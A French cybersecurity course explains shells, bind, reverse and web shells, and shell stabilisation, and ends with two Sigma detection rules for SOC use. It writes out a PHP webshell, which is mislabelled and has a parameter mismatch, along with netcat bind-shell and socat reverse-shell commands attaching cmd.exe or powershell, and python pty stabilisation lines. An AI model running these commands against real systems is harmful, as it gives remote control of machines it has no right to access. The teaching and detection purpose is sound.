Ce cours a pour but de présenter le concept de shell, tout d’abord en informatique, puis dans le cadre de la cybersécurité. Nous aborderons alors les différents types de shell utilisés par les attaquants, les techniques de stabilisation de shell et les méthodes de détection notamment au sein d’un SOC.

Définitions

Le shell

Un shell, littérallement coquille est un programme permettant d’interagir avec le système.

Grâce au shell nous pouvons lancer des programmes, par exemple la commande ls pour lister les fichiers présents dans un dossier. Certaines commandes font partie intégrantes du shell, par exemple cd pour se déplacer On parle alors de builtins fonction.

Les shells que l’on utilise aujourd’hui gèrent des concepts plus larges, comme les redirections ou les pipes.

Voici quelques exemples de shell utilisés aujourd’hui :

  • Bash : Shell Linux le plus répendu
  • ZSH : Notamment présent sur Kali Linux
  • Fish : Shell Linux
  • Powershell : Shell Windows
  • Cmd : Shell historique DOS (Windows)

Le terminal

Un autre terme utilisé lorsque l’on parle du shell est le terminal. Bien que très souvent liés, il s’agit de deux concepts distincts.

Le terminal est le programme qui lit les entrées du clavier, les fournies au shell puis affiche le résultat.

Shell et cybersécurité

L’un des objectifs des attaquants, peut être de forcer un système distant à exécuter un code arbitraire. Lorsque cela est possible, ces derniers vont faire en sorte d’obtenir un shell, leur permettant d’avoir un accès au système.

Aller plus loin

La réalisation d’un shell minimaliste est en fait une tâche assez simple que je vous invite à réaliser via le tutoriel suivant : https://brennan.io/2015/01/16/write-a-shell-in-c

Les différents types de shell

Bind shell

Un bind shell permet à l’attaquant d’ouvrir un port sur la machine cible sur lequel une fois connecté, un shell se présentera.

Reverse shell

Lors de l’utilisation d’un reverse shell, la machine cible se connecte à l’attaquant. Cette technique est particulièrement intéressante car elle permet d’outrepasser les pare-feux, ces derniers peuvent bloquer certains ports en entrée.

Web shell

Un webshell a la spécificité d’être exécuté sur un serveur web. Ainsi ce dernier sera écrit dans un langage supporté par le serveur. Le shell communiquera avec l’attaquant non pas au travers des protocoles TCP/UDP, mais directement via la couche HTTP.

Voici un exemple de reverse shell php :

<?php
    if(isset($_GET['cmd']))
    {
        echo system($_GET['command']);
    }
?>

L’attaquant utilisera le webshell de cette façon :

https://cible.fr/ressource?cmd=<commande_malveillante>

Un webshell peut-être déposé de divers façons, voici une liste non-exhaustive :

  • Exploitation d’un formulaire d’upload
  • Injection SQL
  • XSS
  • RCE
  • LFI/RFI

Obtention d’un shell et techniques de stabilisation

Nous allons décrire dans cette section comment obtenir un shell puis le stabiliser. La phase de stabilisation consiste à obtenir un shell le plus interactif possible et robuste, permettant à l’attaquant de poursuivre son intrusion aisément.

Netcat

L’obtention d’un shell basique peut s’avérer relativement simple. Netcat est un outil permettant la manipulation des socket réseaux, ce dernier est présent par défaut sur de nombreuses distributions Linux et peut également être installé sous Windows.

Voici un exemple de bind shell Windows relativement simple utilisant Netcat :

nc.exe -nvlp 4242 -e cmd.exe
nc <ip_cible> 4242
  • La première commande, à exécuter depuis la machine de l’attaquant permet d’écouter sur le port 4242 en y attachant le processus cmd.
  • La seconde commande se connecte sur le port ouvert afin d’avoir accès au cmd en question et ainsi avoir un accès à la machine cible de façon interactive.

Python

L’une des techniques de stabilisation les plus simples et rependues consiste à utiliser les pseudo-terminaux python. Étant donné que python est installé par défaut sur de nombreuses distributions Linux cette technique fonctionne dans de nombreux cas :

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
CTRL+Z
stty raw -echo; fg

Ces commandes permettent respectivement :

  • D’utiliser le module python pty (pseudo-terminaux), permettant d’avoir un shell plus complet.
  • Définir la variable d’environnement TERM comme étant xterm, cela indique que le terminal utilisé est similaire à xterm. Permettant d’avoir accès à certaines commande comme vim.
  • Définir en arrière-plan le shell pour revenir à notre terminal.
  • Supprimer l’affichage de notre terminal et revenir au shell, cela permet d’avoir accès telles que l’autocomplétion des commandes.

Socat

Socat est relativement semblable à netcat, il s’agit également d’un outil qui permet la manipulation des sockets, celui-ci présente des avantages supplémentaires :

  • Gère l’envoi des signaux.
  • Affichage des erreurs.
  • Permet la mise en place de communications chiffrées.

Il est à noter que netcat est rarement installé par défaut, c’est pourquoi il faudra pour l’attaquant ajouter ce dernier sur la machine. Il existe notamment des versions pré-compilées qui facilitent cette étape.

Voici un exemple d’utilisation de socat :

socat TCP-L:<port> -
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
  • La première commande à exécuter sur la machine de l’attaquant permet de recevoir le reverse shell (équivalent de nc -lnvp <port>)
  • La seconde permet de connecter un shell à la machine de l’attaquant, l’option pipes permet d’obtenir une sortie style « Unix ».

Pwncat

Pwncat est un outil permettant de créer un reverse shell qui possède les caractéristiques suivantes :

  • Évasion IDS/IPS.
  • Gestion des signaux.
  • Peut agir en tant que proxy (permettant ainsi de pivoter dans un réseau distant).
  • Facilitation de la post-exploitation : pwncat embarque des fonctions intégrées, permettant directement d’énumérer la machine cible.

Il ne s’agit que d’un échantillon des possibilités offertes par pwncat, la liste complète est disponible le site de l’outil : https://pwncat.org

Détection

Diverses règles de détection peuvent être mises en place afin de détecter ces comportements.

Voici une règle sigma qui détecte quand un pseudo terminal est lancé via python :

title: Python Spawning Pretty TTY
id: c4042d54-110d-45dd-a0e1-05c47822c937
related:
    - id: 32e62bc7-3de0-4bb1-90af-532978fe42c0
      type: similar
status: experimental
description: Detects python spawning a pretty tty which could be indicative of potential reverse shell activity
references:
    - https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/
author: Nextron Systems
date: 2022/06/03
modified: 2023/06/16
tags:
    - attack.execution
    - attack.t1059
logsource:
    category: process_creation
    product: linux
detection:
    selection_img:
        - Image|endswith:
              - '/python'
              - '/python2'
              - '/python3'
        - Image|contains:
              - '/python2.'  # python image is always of the form ../python3.10; ../python is just a symlink
              - '/python3.'
    selection_cli_1:
        CommandLine|contains|all:
            - 'import pty'
            - '.spawn('
    selection_cli_2:
        CommandLine|contains: 'from pty import spawn'
    condition: selection_img and 1 of selection_cli_*
falsepositives:
    - Unknown
level: high

Nous pouvons également surveiller la création de process de type shell via php, ce qui peut-être un indicateur de reverse-shell :

title: Potential PHP Reverse Shell
id: c6714a24-d7d5-4283-a36b-3ffd091d5f7e
status: test
description: |
    Detects usage of the PHP CLI with the "-r" flag which allows it to run inline PHP code. The rule looks for calls to the "fsockopen" function which allows the creation of sockets.
    Attackers often leverage this in combination with functions such as "exec" or "fopen" to initiate a reverse shell connection.    
references:
    - https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
    - https://www.revshells.com/
author: '@d4ns4n_'
date: 2023/04/07
tags:
    - attack.execution
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|contains: '/php'
        CommandLine|contains|all:
            - ' -r '
            - 'fsockopen'
        CommandLine|contains:
            - 'ash'
            - 'bash'
            - 'bsh'
            - 'csh'
            - 'ksh'
            - 'pdksh'
            - 'sh'
            - 'tcsh'
            - 'zsh'
    condition: selection
falsepositives:
    - Unknown
level: high

Bien entendu les attaquants peuvent trouver des techniques permettant d’outrepasser les détections.

Je vous invite à consulter le lien suivant particulièrement intéressant sur la mise en place d’un shell fonctionnant via le protocole ICMP : https://ghost.neopipe.fr/icmp-reverse-shell/

Références

Définitions

Types de shell et stabilisation

Détection